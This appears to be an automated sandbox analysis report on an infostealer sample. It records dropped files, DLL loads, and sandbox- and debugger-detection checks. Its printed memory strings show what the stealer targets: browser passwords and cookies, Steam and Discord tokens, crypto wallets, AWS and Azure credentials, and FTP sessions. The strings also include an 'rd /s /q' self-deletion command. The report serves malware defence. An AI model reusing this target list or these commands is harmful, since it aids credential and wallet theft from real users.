Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Users\user\Desktop\25xTHcaF7V.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Google Drive.lnk.19.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.19.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.19.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.19.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.19.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.19.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 25xTHcaF7V.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: vdr1.pdb source: Surrey.com, 0000000D.00000002.3582252732.00000000019B6000.00000004.00000020.00020000.00000000.sdmp, Surrey.com, 0000000D.00000003.2603391503.00000000043EC000.00000004.00000800.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3581740301.0000000001903000.00000004.00000020.00020000.00000000.sdmp, Surrey.com, 0000000D.00000002.3585659448.00000000043E1000.00000040.00001000.00020000.00000000.sdmp, Surrey.com, 0000000D.00000003.2603286860.0000000001921000.00000004.00000020.00020000.00000000.sdmp, Surrey.com, 0000000D.00000003.2603167258.000000000436E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: A{"id":1,"method":"Storage.getCookies"}\|.tgz.gzSecurityHistoryWork Dir: In memorySOFTWARE\Microsoft\Cryptographyfirefox%08lX%04lX%lu_key.txtSoft\Steam\steam_tokens.txt\Discord\tokens.txtpasswords.txtinformation.txtlocalhostWebSocketClient" & exitGdipGetImageHeightSoftGdipGetImagePixelFormatN0ZWFt\Monero\wallet.keysAzure\.awsstatusWallets_CreateProcessGdipGetImageEncodershttpsSoftware\Martin Prikryl\WinSCP 2\SessionsPlugins/devtoolsprefs.jsLocal Extension SettingsSync Extension SettingsFilescookiesCookies\BraveWallet\Preferenceskey_datas%s\%s\%sPortNumberCurrentBuildNumberGdiplusStartup.zipGdipCreateHBITMAPFromBitmapOpera Crypto.zooUnknownGdiplusShutdown/json_logins.jsoninvalid string positionSoftware\Martin Prikryl\WinSCP 2\ConfigurationDisplayVersionSOFTWARE\Microsoft\Windows NT\CurrentVersionopentokenamcommunity.comTelegramSoftware\Valve\SteamGdipSaveImageToStreamGdipLoadImageFromStream\AppData\Roaming\FileZilla\recentservers.xml.dllSOFTWARE\Microsoft\Windows\CurrentVersion\Uninstallapprove_aprilNetworkblock.arjprofiles.ini.lzhGdipGetImageWidthwallet_pathSteamPathscreenshot.jpgstring too longvector<T> too longProcessorNameStringloginusers.vdflibraryfolders.vdfconfig.vdfDialogConfig.vdfDialogConfigOverlay*.vdfGdipGetImageEncodersSizesteam.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\cmd.exeC:\Windows\system32\rundll32.exeBravetrueformhistory.sqlitecookies.sqliteplaces.sqliteLocal StatefalseAzure\.azureSOFTWARE\monero-project\monero-corechromefile_nameDisplayNameHostNameProductNameUserNameGdipSaveImageToFilemsal.cacheGdipDisposeImagemodeAzure\.IdentityServiceUseMasterPasswordhwidMachineGuidtask_idbuild_idCrash DetectedDisabled%dx%d%d/%d/%d %d:%d:%d.arcvdr1.pdb\Local Storage\leveldb_0.indexeddb.leveldb_formhistory.db_history.db_cookies.db_passwords.db_webdata.db_key4.db\key4.dbfile_dataLogin DataWeb DataoperaOperachrome-extension_[Processes][Software]\storage\default\\.aws\errors\\Telegram Desktop\\Steam\\config\\.azure\ Stable\\.IdentityService\\discord\/c timeout /t 10 & rd /s /q "C:\ProgramData\" & rd /s /q "C:\ProgramData\\..\.ZDISPLAYOpera GXEXCEPTION_INT_OVERFLOWEXCEPTION_FLT_OVERFLOWEXCEPTION_STACK_OVERFLOWEXCEPTION_FLT_UNDERFLOWPOSTEXCEPTION_BREAKPOINT\Local Storage\leveldb\CURRENTEXCEPTION_DATATYPE_MISALIGNMENTEXCEPTION_FLT_INEXACT_RESULTGETEXCEPTION_IN_PAGE_ERRORdQw4w9WgXcQEXCEPTION_SINGLE_STEPGdipCreateBitmapFromHBITMAPEXCEPTION_INT_DIVIDE_BY_ZEROEXCEPTION_FLT_DIVIDE_BY_ZEROEXCEPTION_NONCONTINUABLE_EXCEPTIONUNKNOWN EXCEPTIONEXCEPTION_INVALID_DISPOSITIONEXCEPTION_PRIV_INSTRUCTIONEXCEPTION_ILLEGAL_INSTRUCTIONEXCEPTION_FLT_INVALID_OPERATIONEXCEPTION_ACCESS_VIOLATIONEXCEPTION_FLT_STACK_CHECKEXCEPTION_FLT_DENORMAL_OPERANDEXCEPTION_ARRAY_BOUNDS_EXCEEDED%d MBIndexedDBOCALAPPDATA?<Host><Port><User><Pass encoding="base64">http://localhost:"webSocketDebuggerUrl":6^userContextId=4294967295465 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73ws://localhost:9223.metadata-v2:22.ps15121Windows 11HTTP/1.1HARDWA
Source:	Binary string: cryptosetup.pdbGCTL source: Surrey.com, 0000000D.00000002.3584705678.0000000004362000.00000004.00000800.00020000.00000000.sdmp, i5pz5p.13.dr
Source:	Binary string: cryptosetup.pdb source: Surrey.com, 0000000D.00000002.3584705678.0000000004362000.00000004.00000800.00020000.00000000.sdmp, i5pz5p.13.dr
Source:	Binary string: 1.pdb\ source: Surrey.com, 0000000D.00000003.2603234509.00000000019CA000.00000004.00000020.00020000.00000000.sdmp, Surrey.com, 0000000D.00000003.2603053985.0000000001935000.00000004.00000020.00020000.00000000.sdmp, Surrey.com, 0000000D.00000003.2603019804.00000000019CA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 1.pdb source: Surrey.com, 0000000D.00000003.2603234509.00000000019CA000.00000004.00000020.00020000.00000000.sdmp, Surrey.com, 0000000D.00000003.2603053985.0000000001935000.00000004.00000020.00020000.00000000.sdmp, Surrey.com, 0000000D.00000003.2603019804.00000000019CA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: {"id":1,"method":"Storage.getCookies"}\|.tgz.gzSecurityHistoryWork Dir: In memorySOFTWARE\Microsoft\Cryptographyfirefox%08lX%04lX%lu_key.txtSoft\Steam\steam_tokens.txt\Discord\tokens.txtpasswords.txtinformation.txtlocalhostWebSocketClient" & exitGdipGetImageHeightSoftGdipGetImagePixelFormatN0ZWFt\Monero\wallet.keysAzure\.awsstatusWallets_CreateProcessGdipGetImageEncodershttpsSoftware\Martin Prikryl\WinSCP 2\SessionsPlugins/devtoolsprefs.jsLocal Extension SettingsSync Extension SettingsFilescookiesCookies\BraveWallet\Preferenceskey_datas%s\%s\%sPortNumberCurrentBuildNumberGdiplusStartup.zipGdipCreateHBITMAPFromBitmapOpera Crypto.zooUnknownGdiplusShutdown/json_logins.jsoninvalid string positionSoftware\Martin Prikryl\WinSCP 2\ConfigurationDisplayVersionSOFTWARE\Microsoft\Windows NT\CurrentVersionopentokenamcommunity.comTelegramSoftware\Valve\SteamGdipSaveImageToStreamGdipLoadImageFromStream\AppData\Roaming\FileZilla\recentservers.xml.dllSOFTWARE\Microsoft\Windows\CurrentVersion\Uninstallapprove_aprilNetworkblock.arjprofiles.ini.lzhGdipGetImageWidthwallet_pathSteamPathscreenshot.jpgstring too longvector<T> too longProcessorNameStringloginusers.vdflibraryfolders.vdfconfig.vdfDialogConfig.vdfDialogConfigOverlay*.vdfGdipGetImageEncodersSizesteam.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\cmd.exeC:\Windows\system32\rundll32.exeBravetrueformhistory.sqlitecookies.sqliteplaces.sqliteLocal StatefalseAzure\.azureSOFTWARE\monero-project\monero-corechromefile_nameDisplayNameHostNameProductNameUserNameGdipSaveImageToFilemsal.cacheGdipDisposeImagemodeAzure\.IdentityServiceUseMasterPasswordhwidMachineGuidtask_idbuild_idCrash DetectedDisabled%dx%d%d/%d/%d %d:%d:%d.arcvdr1.pdb\Local Storage\leveldb_0.indexeddb.leveldb_formhistory.db_history.db_cookies.db_passwords.db_webdata.db_key4.db\key4.dbfile_dataLogin DataWeb DataoperaOperachrome-extension_[Processes][Software]\storage\default\\.aws\errors\\Telegram Desktop\\Steam\\config\\.azure\ Stable\\.IdentityService\\discord\/c timeout /t 10 & rd /s /q "C:\ProgramData\" & rd /s /q "C:\ProgramData\\..\.ZDISPLAYOpera GXEXCEPTION_INT_OVERFLOWEXCEPTION_FLT_OVERFLOWEXCEPTION_STACK_OVERFLOWEXCEPTION_FLT_UNDERFLOWPOSTEXCEPTION_BREAKPOINT\Local Storage\leveldb\CURRENTEXCEPTION_DATATYPE_MISALIGNMENTEXCEPTION_FLT_INEXACT_RESULTGETEXCEPTION_IN_PAGE_ERRORdQw4w9WgXcQEXCEPTION_SINGLE_STEPGdipCreateBitmapFromHBITMAPEXCEPTION_INT_DIVIDE_BY_ZEROEXCEPTION_FLT_DIVIDE_BY_ZEROEXCEPTION_NONCONTINUABLE_EXCEPTIONUNKNOWN EXCEPTIONEXCEPTION_INVALID_DISPOSITIONEXCEPTION_PRIV_INSTRUCTIONEXCEPTION_ILLEGAL_INSTRUCTIONEXCEPTION_FLT_INVALID_OPERATIONEXCEPTION_ACCESS_VIOLATIONEXCEPTION_FLT_STACK_CHECKEXCEPTION_FLT_DENORMAL_OPERANDEXCEPTION_ARRAY_BOUNDS_EXCEEDED%d MBIndexedDBOCALAPPDATA?<Host><Port><User><Pass encoding="base64">http://localhost:"webSocketDebuggerUrl":6^userContextId=4294967295465 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73ws://localhost:9223.metadata-v2:22.ps15121Windows 11HTTP/1.1HARDWAR

Source: C:\Users\user\Desktop\25xTHcaF7V.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: 25xTHcaF7V.exe

Static PE information: real checksum: 0xd7c72 should be: 0xde362

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Code function: 13_2_00960DE6 push ecx; ret

13_2_00960DF9

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\634977\Surrey.com			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	File created: C:\ProgramData\9r1vs\i5pz5p			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

File created: C:\ProgramData\9r1vs\i5pz5p

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

File created: C:\ProgramData\9r1vs\i5pz5p

Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009D26DD IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		13_2_009D26DD
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_0095FC7C GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		13_2_0095FC7C

Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_13-104324

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Dropped PE file which has not been started: C:\ProgramData\9r1vs\i5pz5p

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

API coverage: 3.7 %

Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009ADC54 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	13_2_009ADC54
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009BA087 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	13_2_009BA087
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009BA1E2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	13_2_009BA1E2
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009AE472 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	13_2_009AE472
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009BA570 FindFirstFileW,Sleep,FindNextFileW,FindClose,	13_2_009BA570
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009B66DC FindFirstFileW,FindNextFileW,FindClose,	13_2_009B66DC
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_0097C622 FindFirstFileExW,	13_2_0097C622
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009B73D4 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	13_2_009B73D4
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009B7333 FindFirstFileW,FindClose,	13_2_009B7333
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009AD921 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	13_2_009AD921

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Code function: 13_2_00945FC8 GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

13_2_00945FC8

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\634977	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\634977\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: Web Data.26.dr	Binary or memory string: interactivebrokers.comVMware20,11696508427
Source: chrome.exe, 00000013.00000002.2818774004.0000203400B04000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: Web Data.26.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696508427
Source: Web Data.26.dr	Binary or memory string: outlook.office.comVMware20,11696508427s
Source: Web Data.26.dr	Binary or memory string: discord.comVMware20,11696508427f
Source: Web Data.26.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696508427
Source: Web Data.26.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696508427x
Source: Web Data.26.dr	Binary or memory string: ms.portal.azure.comVMware20,11696508427
Source: Web Data.26.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696508427}
Source: Web Data.26.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696508427u
Source: chrome.exe, 00000013.00000002.2823694505.0000203400F54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware Virtual USB Mousery
Source: chrome.exe, 00000013.00000002.2813940092.0000203400290000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=cde3eea9-2317-48e2-99d7-7e8d0326b177
Source: Web Data.26.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696508427d
Source: chrome.exe, 00000013.00000002.2809981784.0000027B6E610000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8b}
Source: Web Data.26.dr	Binary or memory string: outlook.office365.comVMware20,11696508427t
Source: Surrey.com, 0000000D.00000002.3582252732.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.26.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696508427\|UE
Source: msedge.exe, 00000018.00000003.2870259455.00004D9402538000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: chrome.exe, 00000013.00000002.2809981784.0000027B6E610000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}\o
Source: Web Data.26.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696508427
Source: Web Data.26.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696508427p
Source: Web Data.26.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696508427n
Source: Web Data.26.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696508427x
Source: Web Data.26.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696508427~
Source: chrome.exe, 00000013.00000002.2808887512.0000027B6AB28000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 00000018.00000002.2887879375.000001A338851000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Web Data.26.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696508427^
Source: Web Data.26.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696508427}
Source: Web Data.26.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696508427h
Source: Web Data.26.dr	Binary or memory string: tasks.office.comVMware20,11696508427o
Source: Web Data.26.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696508427z
Source: chrome.exe, 00000013.00000002.2809981784.0000027B6E610000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_
Source: Web Data.26.dr	Binary or memory string: global block list test formVMware20,11696508427
Source: Web Data.26.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696508427
Source: Web Data.26.dr	Binary or memory string: dev.azure.comVMware20,11696508427j
Source: Web Data.26.dr	Binary or memory string: bankofamerica.comVMware20,11696508427x
Source: Web Data.26.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696508427
Source: Web Data.26.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696508427]
Source: Web Data.26.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696508427
Source: Web Data.26.dr	Binary or memory string: turbotax.intuit.comVMware20,11696508427t
Source: Surrey.com, 0000000D.00000002.3582252732.00000000019F5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\$
Source: Web Data.26.dr	Binary or memory string: AMC password management pageVMware20,11696508427
Source: Surrey.com, 0000000D.00000002.3581740301.0000000001903000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpv

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Code function: 13_2_009BF4FF BlockInput,

13_2_009BF4FF

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Code function: 13_2_0094338B GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

13_2_0094338B

Source: C:\Users\user\Desktop\25xTHcaF7V.exe

